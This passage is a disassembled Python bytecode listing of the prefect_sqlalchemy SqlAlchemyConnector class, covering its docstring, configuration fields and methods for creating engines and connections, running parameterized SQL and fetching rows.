sqlalchemy_credentials LOAD_METHOD get_engine CALL_METHOD STORE_FAST engine LOAD_FAST sqlalchemy_credentials LOAD_ATTR _driver_is_async STORE_FAST async_supported LOAD_GLOBAL _connect LOAD_FAST engine LOAD_FAST async_supported CALL_FUNCTION BEFORE_ASYNC_WITH GET_AWAITABLE LOAD_CONST None YIELD_FROM SETUP_ASYNC_WITH to 96 STORE_FAST connection LOAD_GLOBAL _execute LOAD_FAST connection LOAD_FAST query LOAD_FAST params LOAD_FAST async_supported CALL_FUNCTION GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST result LOAD_FAST limit LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST result LOAD_METHOD fetchall CALL_METHOD JUMP_FORWARD to 90 LOAD_FAST result LOAD_METHOD fetchmany LOAD_FAST limit CALL_METHOD STORE_FAST rows POP_BLOCK LOAD_CONST None WITH_CLEANUP_START GET_AWAITABLE LOAD_CONST None YIELD_FROM WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST rows RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'SqlAlchemyConnector' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST '\n Block used to manage authentication with a database.\n\n Upon instantiating, an engine is created and maintained for the life of\n the object until the close method is called.\n\n It is recommended to use this block as a context manager, which will automatically\n close the engine and its connections when the context is exited.\n\n It is also recommended that this block is loaded and consumed within a single task\n or flow because if the block is passed across separate tasks and flows,\n the state of the block\'s connection and cursor could be lost.\n\n Attributes:\n connection_info: SQLAlchemy URL to create the engine;\n either create from components or create from a string.\n connect_args: The options which will be passed directly to the\n DBAPI\'s connect() method as additional keyword arguments.\n fetch_size: The number of rows to fetch at a time.\n\n Example:\n Load stored database credentials and use in context manager:\n ```python\n from prefect_sqlalchemy import SqlAlchemyConnector\n\n database_block = SqlAlchemyConnector.load("BLOCK_NAME")\n with database_block:\n ...\n ```\n\n Create table named customers and insert values; then fetch the first 10 rows.\n ```python\n from prefect_sqlalchemy import (\n SqlAlchemyConnector, SyncDriver, ConnectionComponents\n )\n\n with SqlAlchemyConnector(\n connection_info=ConnectionComponents(\n driver=SyncDriver.SQLITE_PYSQLITE,\n database="prefect.db"\n )\n ) as database:\n database.execute(\n "CREATE TABLE IF NOT EXISTS customers (name varchar, address varchar);",\n )\n for i in range(1, 42):\n database.execute(\n "INSERT INTO customers (name, address) VALUES (:name, :address);",\n parameters={"name": "Marvin", "address": f"Highway {i}"},\n )\n results = database.fetch_many(\n "SELECT * FROM customers WHERE name = :name;",\n parameters={"name": "Marvin"},\n size=10\n )\n print(results)\n ```\n ' STORE_NAME __doc__ LOAD_CONST 'SQLAlchemy Connector' STORE_NAME _block_type_name LOAD_CONST 'https://cdn.sanity.io/images/3ugk85nk/production/3c7dff04f70aaf4528e184a3b028f9e40b98d68c-250x250.png' STORE_NAME _logo_url LOAD_CONST 'https://prefecthq.github.io/prefect-sqlalchemy/database/#prefect_sqlalchemy.database.SqlAlchemyConnector' STORE_NAME _documentation_url LOAD_NAME Field LOAD_CONST Ellipsis LOAD_CONST 'SQLAlchemy URL to create the engine; either create from components or create from a string.' LOAD_CONST ('default', 'description') CALL_FUNCTION STORE_NAME connection_info LOAD_NAME Union LOAD_NAME ConnectionComponents LOAD_NAME AnyUrl BUILD_TUPLE BINARY_SUBSCR LOAD_NAME __annotations__ LOAD_CONST 'connection_info' STORE_SUBSCR LOAD_NAME Field LOAD_CONST None LOAD_CONST 'Additional Connection Arguments' LOAD_CONST "The options which will be passed directly to the DBAPI's connect() method as additional keyword arguments." LOAD_CONST ('default', 'title', 'description') CALL_FUNCTION STORE_NAME connect_args LOAD_NAME Optional LOAD_NAME Dict LOAD_NAME str LOAD_NAME Any BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME __annotations__ LOAD_CONST 'connect_args' STORE_SUBSCR LOAD_NAME Field LOAD_CONST 1 LOAD_CONST 'The number of rows to fetch at a time.' LOAD_CONST ('default', 'description') CALL_FUNCTION STORE_NAME fetch_size LOAD_NAME int LOAD_NAME __annotations__ LOAD_CONST 'fetch_size' STORE_SUBSCR LOAD_CONST None STORE_NAME _engine LOAD_NAME Optional LOAD_NAME Union LOAD_NAME AsyncEngine LOAD_NAME Engine BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME __annotations__ LOAD_CONST '_engine' STORE_SUBSCR LOAD_CONST None STORE_NAME _exit_stack LOAD_NAME Union LOAD_NAME ExitStack LOAD_NAME AsyncExitStack BUILD_TUPLE BINARY_SUBSCR LOAD_NAME __annotations__ LOAD_CONST '_exit_stack' STORE_SUBSCR LOAD_CONST None STORE_NAME _unique_results LOAD_NAME Dict LOAD_NAME str LOAD_NAME CursorResult BUILD_TUPLE BINARY_SUBSCR LOAD_NAME __annotations__ LOAD_CONST '_unique_results' STORE_SUBSCR LOAD_BUILD_CLASS LOAD_CONST <code object Config at 0x7fab6411ed20, file "f.py", line 272> LOAD_CONST 'Config' MAKE_FUNCTION LOAD_CONST 'Config' CALL_FUNCTION STORE_NAME Config LOAD_NAME Dict LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object dict at 0x7fab6411e660, file "f.py", line 278> LOAD_CONST 'SqlAlchemyConnector.dict' MAKE_FUNCTION STORE_NAME dict LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object block_initialization at 0x7fab80123030, file "f.py", line 288> LOAD_CONST 'SqlAlchemyConnector.block_initialization' MAKE_FUNCTION STORE_NAME block_initialization LOAD_CONST <code object _start_exit_stack at 0x7fab801230c0, file "f.py", line 312> LOAD_CONST 'SqlAlchemyConnector._start_exit_stack' MAKE_FUNCTION STORE_NAME _start_exit_stack LOAD_NAME Dict LOAD_NAME str LOAD_NAME Any BUILD_TUPLE BINARY_SUBSCR LOAD_NAME Union LOAD_NAME Engine LOAD_NAME AsyncEngine BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('create_engine_kwargs', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object get_engine at 0x7fab80123270, file "f.py", line 318> LOAD_CONST 'SqlAlchemyConnector.get_engine' MAKE_FUNCTION STORE_NAME get_engine LOAD_CONST (True,) LOAD_NAME bool LOAD_NAME Dict LOAD_NAME str LOAD_NAME Any BUILD_TUPLE BINARY_SUBSCR LOAD_NAME Union LOAD_NAME Connection LOAD_NAME AsyncConnection BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('begin', 'connect_kwargs', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object get_connection at 0x7fab801238a0, file "f.py", line 391> LOAD_CONST 'SqlAlchemyConnector.get_connection' MAKE_FUNCTION STORE_NAME get_connection LOAD_NAME Literal LOAD_CONST ('engine', 'connection') BINARY_SUBSCR LOAD_NAME Dict LOAD_NAME str LOAD_NAME Any BUILD_TUPLE BINARY_SUBSCR LOAD_NAME Union LOAD_NAME Engine LOAD_NAME AsyncEngine LOAD_NAME Connection LOAD_NAME AsyncConnection BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('client_type', 'get_client_kwargs', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object get_client at 0x7fab801239c0, file "f.py", line 434> LOAD_CONST 'SqlAlchemyConnector.get_client' MAKE_FUNCTION STORE_NAME get_client LOAD_NAME Union LOAD_NAME Connection LOAD_NAME AsyncConnection BUILD_TUPLE BINARY_SUBSCR LOAD_NAME Tuple LOAD_NAME Any BINARY_SUBSCR LOAD_NAME Dict LOAD_NAME str LOAD_NAME Any BUILD_TUPLE BINARY_SUBSCR LOAD_NAME CursorResult LOAD_CONST ('connection', 'execute_args', 'execute_kwargs', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object _async_sync_execute at 0x7fab80123810, file "f.py", line 478> LOAD_CONST 'SqlAlchemyConnector._async_sync_execute' MAKE_FUNCTION STORE_NAME _async_sync_execute LOAD_NAME asynccontextmanager LOAD_NAME Dict LOAD_NAME str LOAD_NAME Any BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('get_connection_kwargs',) BUILD_CONST_KEY_MAP LOAD_CONST <code object _manage_connection at 0x7fab80123420, file "f.py", line 496> LOAD_CONST 'SqlAlchemyConnector._manage_connection' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _manage_connection LOAD_NAME Tuple LOAD_NAME Any BINARY_SUBSCR LOAD_NAME Dict LOAD_NAME str LOAD_NAME Any BUILD_TUPLE BINARY_SUBSCR LOAD_NAME CursorResult LOAD_CONST ('execute_args', 'execute_kwargs', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object _get_result_set at 0x7fab801235d0, file "f.py", line 505> LOAD_CONST 'SqlAlchemyConnector._get_result_set' MAKE_FUNCTION STORE_NAME _get_result_set LOAD_CONST None LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object _reset_cursor_results at 0x7fab80123660, file "f.py", line 541> LOAD_CONST 'SqlAlchemyConnector._reset_cursor_results' MAKE_FUNCTION STORE_NAME _reset_cursor_results LOAD_NAME sync_compatible LOAD_CONST None LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object reset_connections at 0x7fab801236f0, file "f.py", line 555> LOAD_CONST 'SqlAlchemyConnector.reset_connections' MAKE_FUNCTION CALL_FUNCTION STORE_NAME reset_connections LOAD_CONST None LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object reset_async_connections at 0x7fab801234b0, file "f.py", line 585> LOAD_CONST 'SqlAlchemyConnector.reset_async_connections' MAKE_FUNCTION STORE_NAME reset_async_connections LOAD_NAME sync_compatible LOAD_CONST (None,) LOAD_NAME str LOAD_NAME Optional LOAD_NAME Dict LOAD_NAME str LOAD_NAME Any BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Dict LOAD_NAME str LOAD_NAME Any BUILD_TUPLE BINARY_SUBSCR LOAD_NAME Tuple LOAD_NAME Any BINARY_SUBSCR LOAD_CONST ('operation', 'parameters', 'execution_options', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object fetch_one at 0x7fab80123540, file "f.py", line 618> LOAD_CONST 'SqlAlchemyConnector.fetch_one' MAKE_FUNCTION CALL_FUNCTION STORE_NAME fetch_one LOAD_NAME sync_compatible LOAD_CONST (None, None) LOAD_NAME str LOAD_NAME Optional LOAD_NAME Dict LOAD_NAME str LOAD_NAME Any BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME int BINARY_SUBSCR LOAD_NAME Dict LOAD_NAME str LOAD_NAME Any BUILD_TUPLE BINARY_SUBSCR LOAD_NAME List LOAD_NAME Tuple LOAD_NAME Any BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('operation', 'parameters', 'size', 'execution_options', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object fetch_many at 0x7fab80123a50, file "f.py", line 670> LOAD_CONST 'SqlAlchemyConnector.fetch_many' MAKE_FUNCTION CALL_FUNCTION STORE_NAME fetch_many LOAD_NAME sync_compatible LOAD_CONST (None,) LOAD_NAME str LOAD_NAME Optional LOAD_NAME Dict LOAD_NAME str LOAD_NAME Any BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Dict LOAD_NAME str LOAD_NAME Any BUILD_TUPLE BINARY_SUBSCR LOAD_NAME List LOAD_NAME Tuple LOAD_NAME Any BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('operation', 'parameters', 'execution_options', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object fetch_all at 0x7fab80123780, file "f.py", line 726> LOAD_CONST 'SqlAlchemyConnector.fetch_all' MAKE_FUNCTION CALL_FUNCTION STORE_NAME fetch_all LOAD_NAME sync_compatible LOAD_CONST (None,) LOAD_NAME str LOAD_NAME Optional LOAD_NAME Dict LOAD_NAME str LOAD_NAME Any BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Dict LOAD_NAME str LOAD_NAME Any BUILD_TUPLE BINARY_SUBSCR LOAD_CONST None LOAD_CONST ('operation', 'parameters', 'execution_options', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object execute at 0x7fab80123300, file "f.py", line 775> LOAD_CONST 'SqlAlchemyConnector.execute' MAKE_FUNCTION CALL_FUNCTION STORE_NAME execute LOAD_NAME sync_compatible LOAD_NAME str LOAD_NAME List LOAD_NAME Dict LOAD_NAME str LOAD_NAME Any BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Dict LOAD_NAME str LOAD_NAME Any BUILD_TUPLE BINARY_SUBSCR LOAD_CONST None LOAD_CONST ('operation', 'seq_of_parameters', 'execution_options', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object execute_many at 0x7fab80123ae0, file "f.py", line 816> LOAD_CONST 'SqlAlchemyConnector.execute_many' MAKE_FUNCTION CALL_FUNCTION STORE_NAME execute_many LOAD_CONST <code object __aenter__ at 0x7fab80123b70, file "f.py", line 863> LOAD_CONST 'SqlAlchemyConnector.__aenter__' MAKE_FUNCTION STORE_NAME __aenter__ LOAD_CONST <code object __aexit__ at 0x7fab80123c00, file "f.py", line 874> LOAD_CONST 'SqlAlchemyConnector.__aexit__' MAKE_FUNCTION STORE_NAME __aexit__ LOAD_CONST <code object aclose at 0x7fab80123c90, file "f.py", line 880> LOAD_CONST 'SqlAlchemyConnector.aclose' MAKE_FUNCTION STORE_NAME aclose LOAD_CONST <code object __enter__ at 0x7fab80123d20, file "f.py", line 897> LOAD_CONST 'SqlAlchemyConnector.__enter__' MAKE_FUNCTION STORE_NAME __enter__ LOAD_CONST <code object __exit__ at 0x7fab80123db0, file "f.py", line 908> LOAD_CONST 'SqlAlchemyConnector.__exit__' MAKE_FUNCTION STORE_NAME __exit__ LOAD_CONST <code object close at 0x7fab80123e40, file "f.py", line 914> LOAD_CONST 'SqlAlchemyConnector.close' MAKE_FUNCTION STORE_NAME close LOAD_CONST <code object __getstate__ at 0x7fab80123f60, file "f.py", line 932> LOAD_CONST 'SqlAlchemyConnector.__getstate__' MAKE_FUNCTION STORE_NAME __getstate__ LOAD_NAME dict LOAD_CONST ('data',) BUILD_CONST_KEY_MAP LOAD_CONST <code object __setstate__ at 0x7fab7009d030, file "f.py", line 938> LOAD_CONST 'SqlAlchemyConnector.__setstate__' MAKE_FUNCTION STORE_NAME __setstate__ LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'SqlAlchemyConnector.Config' STORE_NAME __qualname__ LOAD_CONST 'Configuration of pydantic.' STORE_NAME __doc__ LOAD_CONST True STORE_NAME arbitrary_types_allowed LOAD_NAME URL LOAD_CONST <code object <lambda> at 0x7fab6411edb0, file "f.py", line 276> LOAD_CONST 'SqlAlchemyConnector.Config.<lambda>' MAKE_FUNCTION BUILD_MAP STORE_NAME json_encoders LOAD_CONST None RETURN_VALUE LOAD_FAST u LOAD_METHOD render_as_string CALL_METHOD RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_ATTR dict LOAD_FAST args LOAD_FAST kwargs CALL_FUNCTION STORE_FAST d LOAD_GLOBAL SecretStr LOAD_FAST self LOAD_ATTR _rendered_url LOAD_ATTR render_as_string LOAD_CONST False LOAD_CONST ('hide_password',) CALL_FUNCTION CALL_FUNCTION LOAD_FAST d LOAD_CONST '_rendered_url' STORE_SUBSCR LOAD_FAST d RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD block_initialization CALL_METHOD POP_TOP LOAD_GLOBAL isinstance LOAD_FAST self LOAD_ATTR connection_info LOAD_GLOBAL ConnectionComponents CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR connection_info LOAD_METHOD create_url CALL_METHOD LOAD_FAST self STORE_ATTR _rendered_url JUMP_FORWARD to 52 LOAD_GLOBAL make_url LOAD_GLOBAL str LOAD_FAST self LOAD_ATTR connection_info CALL_FUNCTION CALL_FUNCTION LOAD_FAST self STORE_ATTR _rendered_url LOAD_FAST self LOAD_ATTR _rendered_url LOAD_ATTR drivername STORE_FAST drivername SETUP_EXCEPT to 80 LOAD_GLOBAL AsyncDriver LOAD_FAST drivername CALL_FUNCTION POP_TOP LOAD_CONST True LOAD_FAST self STORE_ATTR _driver_is_async POP_BLOCK JUMP_FORWARD to 106 DUP_TOP LOAD_GLOBAL ValueError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_CONST False LOAD_FAST self STORE_ATTR _driver_is_async POP_EXCEPT JUMP_FORWARD to 106 END_FINALLY LOAD_FAST self LOAD_ATTR _unique_results LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE BUILD_MAP LOAD_FAST self STORE_ATTR _unique_results LOAD_FAST self LOAD_ATTR _exit_stack LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD _start_exit_stack CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _driver_is_async POP_JUMP_IF_FALSE LOAD_GLOBAL AsyncExitStack CALL_FUNCTION JUMP_FORWARD to 16 LOAD_GLOBAL ExitStack CALL_FUNCTION LOAD_FAST self STORE_ATTR _exit_stack LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _engine LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR logger LOAD_METHOD debug LOAD_CONST 'Reusing existing engine.' CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR _engine RETURN_VALUE LOAD_GLOBAL dict BUILD_TUPLE LOAD_FAST self LOAD_ATTR _rendered_url LOAD_FAST self LOAD_ATTR connect_args JUMP_IF_TRUE_OR_POP BUILD_MAP LOAD_CONST ('url', 'connect_args') BUILD_CONST_KEY_MAP LOAD_FAST create_engine_kwargs BUILD_MAP CALL_FUNCTION STORE_FAST engine_kwargs LOAD_FAST self LOAD_ATTR _driver_is_async POP_JUMP_IF_FALSE LOAD_GLOBAL create_async_engine BUILD_TUPLE LOAD_FAST engine_kwargs CALL_FUNCTION STORE_FAST engine JUMP_FORWARD to 84 LOAD_GLOBAL create_engine BUILD_TUPLE LOAD_FAST engine_kwargs CALL_FUNCTION STORE_FAST engine LOAD_FAST self LOAD_ATTR logger LOAD_METHOD info LOAD_CONST 'Created a new engine.' CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR _engine LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST engine LOAD_FAST self STORE_ATTR _engine LOAD_FAST engine RETURN_VALUE LOAD_FAST self LOAD_METHOD get_engine CALL_METHOD STORE_FAST engine LOAD_FAST begin POP_JUMP_IF_FALSE LOAD_FAST engine LOAD_ATTR begin BUILD_TUPLE LOAD_FAST connect_kwargs CALL_FUNCTION STORE_FAST connection JUMP_FORWARD to 38 LOAD_FAST engine LOAD_ATTR connect BUILD_TUPLE LOAD_FAST connect_kwargs CALL_FUNCTION STORE_FAST connection LOAD_FAST self LOAD_ATTR logger LOAD_METHOD info LOAD_CONST 'Created a new connection.' CALL_METHOD POP_TOP LOAD_FAST connection RETURN_VALUE LOAD_FAST client_type LOAD_CONST 'engine' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR get_engine BUILD_TUPLE LOAD_FAST get_client_kwargs CALL_FUNCTION STORE_FAST client JUMP_FORWARD to 58 LOAD_FAST client_type LOAD_CONST 'connection' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR get_connection BUILD_TUPLE LOAD_FAST get_client_kwargs CALL_FUNCTION STORE_FAST client JUMP_FORWARD to 58 LOAD_GLOBAL ValueError LOAD_FAST client_type FORMAT_VALUE repr LOAD_CONST ' is not supported; choose from engine or connection.' BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_FAST client RETURN_VALUE LOAD_FAST connection LOAD_ATTR execute LOAD_FAST execute_args LOAD_FAST execute_kwargs CALL_FUNCTION STORE_FAST result_set LOAD_FAST self LOAD_ATTR _driver_is_async POP_JUMP_IF_FALSE LOAD_FAST result_set GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST result_set LOAD_FAST connection LOAD_METHOD commit CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP JUMP_FORWARD to 62 LOAD_GLOBAL SQLALCHEMY_VERSION LOAD_METHOD startswith LOAD_CONST '2.' CALL_METHOD POP_JUMP_IF_FALSE LOAD_FAST connection LOAD_METHOD commit CALL_METHOD POP_TOP LOAD_FAST result_set RETURN_VALUE LOAD_FAST self LOAD_ATTR _driver_is_async POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR get_connection BUILD_TUPLE LOAD_FAST get_connection_kwargs CALL_FUNCTION BEFORE_ASYNC_WITH GET_AWAITABLE LOAD_CONST None YIELD_FROM SETUP_ASYNC_WITH to 38 STORE_FAST connection LOAD_FAST connection YIELD_VALUE POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START GET_AWAITABLE LOAD_CONST None YIELD_FROM WITH_CLEANUP_FINISH END_FINALLY JUMP_FORWARD to 82 LOAD_FAST self LOAD_ATTR get_connection BUILD_TUPLE LOAD_FAST get_connection_kwargs CALL_FUNCTION SETUP_WITH to 76 STORE_FAST connection LOAD_FAST connection YIELD_VALUE POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL hash_objects LOAD_FAST execute_args LOAD_FAST execute_kwargs CALL_FUNCTION STORE_FAST input_hash LOAD_FAST input_hash LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError LOAD_CONST 'We were not able to hash your inputs, which resulted in an unexpected data return; please open an issue with a reproducible example.' CALL_FUNCTION RAISE_VARARGS LOAD_FAST input_hash LOAD_FAST self LOAD_ATTR _unique_results LOAD_METHOD keys CALL_METHOD COMPARE_OP not in POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _driver_is_async POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _exit_stack LOAD_METHOD enter_async_context LOAD_FAST self LOAD_METHOD get_connection CALL_METHOD CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST connection JUMP_FORWARD to 86 LOAD_FAST self LOAD_ATTR _exit_stack LOAD_METHOD enter_context LOAD_FAST self LOAD_METHOD get_connection CALL_METHOD CALL_METHOD STORE_FAST connection LOAD_FAST self LOAD_ATTR _async_sync_execute LOAD_FAST connection BUILD_TUPLE LOAD_FAST execute_args BUILD_TUPLE LOAD_FAST execute_kwargs CALL_FUNCTION GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST result_set LOAD_FAST result_set LOAD_FAST self LOAD_ATTR _unique_results LOAD_FAST input_hash STORE_SUBSCR JUMP_FORWARD to 132 LOAD_FAST self LOAD_ATTR _unique_results LOAD_FAST input_hash BINARY_SUBSCR STORE_FAST result_set LOAD_FAST result_set RETURN_VALUE LOAD_GLOBAL tuple LOAD_FAST self LOAD_ATTR _unique_results LOAD_METHOD keys CALL_METHOD CALL_FUNCTION STORE_FAST input_hashes SETUP_LOOP to 112 LOAD_FAST input_hashes GET_ITER FOR_ITER to 110 STORE_FAST input_hash SETUP_EXCEPT to 50 LOAD_FAST self LOAD_ATTR _unique_results LOAD_METHOD pop LOAD_FAST input_hash CALL_METHOD STORE_FAST cursor_result LOAD_FAST cursor_result LOAD_METHOD close CALL_METHOD POP_TOP POP_BLOCK JUMP_ABSOLUTE DUP_TOP LOAD_GLOBAL Exception COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP STORE_FAST exc POP_TOP SETUP_FINALLY to 94 LOAD_FAST self LOAD_ATTR logger LOAD_METHOD warning LOAD_CONST 'Failed to close connection for input hash ' LOAD_FAST input_hash FORMAT_VALUE repr LOAD_CONST ': ' LOAD_FAST exc FORMAT_VALUE BUILD_STRING CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None LOAD_CONST None STORE_FAST exc DELETE_FAST exc END_FINALLY POP_EXCEPT JUMP_ABSOLUTE END_FINALLY JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _driver_is_async POP_JUMP_IF_FALSE LOAD_GLOBAL RuntimeError LOAD_FAST self LOAD_ATTR _rendered_url LOAD_ATTR drivername FORMAT_VALUE LOAD_CONST ' has no synchronous connections. Please use the `reset_async_connections` method instead.' BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_FAST self LOAD_ATTR _exit_stack LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR logger LOAD_METHOD info LOAD_CONST 'There were no connections to reset.' CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD _reset_cursor_results CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR _exit_stack LOAD_METHOD close CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR logger LOAD_METHOD info LOAD_CONST 'Reset opened connections and their results.' CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _driver_is_async POP_JUMP_IF_TRUE LOAD_GLOBAL RuntimeError LOAD_FAST self LOAD_ATTR _rendered_url LOAD_ATTR drivername FORMAT_VALUE LOAD_CONST ' has no asynchronous connections. Please use the `reset_connections` method instead.' BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_FAST self LOAD_ATTR _exit_stack LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR logger LOAD_METHOD info LOAD_CONST 'There were no connections to reset.' CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD _reset_cursor_results CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR _exit_stack LOAD_METHOD aclose CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP LOAD_FAST self LOAD_ATTR logger LOAD_METHOD info LOAD_CONST 'Reset opened connections and their results.' CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _get_result_set LOAD_GLOBAL text LOAD_FAST operation CALL_FUNCTION LOAD_FAST parameters LOAD_FAST execution_options LOAD_CONST ('execution_options',) CALL_FUNCTION GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST result_set LOAD_FAST self LOAD_ATTR logger LOAD_METHOD debug LOAD_CONST 'Preparing to fetch one row.' CALL_METHOD POP_TOP LOAD_FAST result_set LOAD_METHOD fetchone CALL_METHOD STORE_FAST row LOAD_FAST row RETURN_VALUE LOAD_FAST self LOAD_ATTR _get_result_set LOAD_GLOBAL text LOAD_FAST operation CALL_FUNCTION LOAD_FAST parameters LOAD_FAST execution_options LOAD_CONST ('execution_options',) CALL_FUNCTION GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST result_set LOAD_FAST size JUMP_IF_TRUE_OR_POP LOAD_FAST self LOAD_ATTR fetch_size STORE_FAST size LOAD_FAST self LOAD_ATTR logger LOAD_METHOD debug LOAD_CONST 'Preparing to fetch ' LOAD_FAST size FORMAT_VALUE LOAD_CONST ' rows.' BUILD_STRING CALL_METHOD POP_TOP LOAD_FAST result_set LOAD_ATTR fetchmany LOAD_FAST size LOAD_CONST ('size',) CALL_FUNCTION STORE_FAST rows LOAD_FAST rows RETURN_VALUE LOAD_FAST self LOAD_ATTR _get_result_set LOAD_GLOBAL text LOAD_FAST operation CALL_FUNCTION LOAD_FAST parameters LOAD_FAST execution_options LOAD_CONST ('execution_options',) CALL_FUNCTION GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST result_set LOAD_FAST self LOAD_ATTR logger LOAD_METHOD debug LOAD_CONST 'Preparing to fetch all rows.' CALL_METHOD POP_TOP LOAD_FAST result_set LOAD_METHOD fetchall CALL_METHOD STORE_FAST rows LOAD_FAST rows RETURN_VALUE LOAD_FAST self LOAD_ATTR _manage_connection LOAD_CONST False LOAD_CONST ('begin',) CALL_FUNCTION BEFORE_ASYNC_WITH GET_AWAITABLE LOAD_CONST None YIELD_FROM SETUP_ASYNC_WITH to 54 STORE_FAST connection LOAD_FAST self LOAD_ATTR _async_sync_execute LOAD_FAST connection LOAD_GLOBAL text LOAD_FAST operation CALL_FUNCTION LOAD_FAST parameters LOAD_FAST execution_options LOAD_CONST ('execution_options',) CALL_FUNCTION GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START GET_AWAITABLE LOAD_CONST None YIELD_FROM WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST self LOAD_ATTR logger LOAD_METHOD info LOAD_CONST 'Executed the operation, ' LOAD_FAST operation FORMAT_VALUE repr BUILD_STRING CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _manage_connection LOAD_CONST False LOAD_CONST ('begin',) CALL_FUNCTION BEFORE_ASYNC_WITH GET_AWAITABLE LOAD_CONST None YIELD_FROM SETUP_ASYNC_WITH to 54 STORE_FAST connection LOAD_FAST self LOAD_ATTR _async_sync_execute LOAD_FAST connection LOAD_GLOBAL text LOAD_FAST operation CALL_FUNCTION LOAD_FAST seq_of_parameters LOAD_FAST execution_options LOAD_CONST ('execution_options',) CALL_FUNCTION 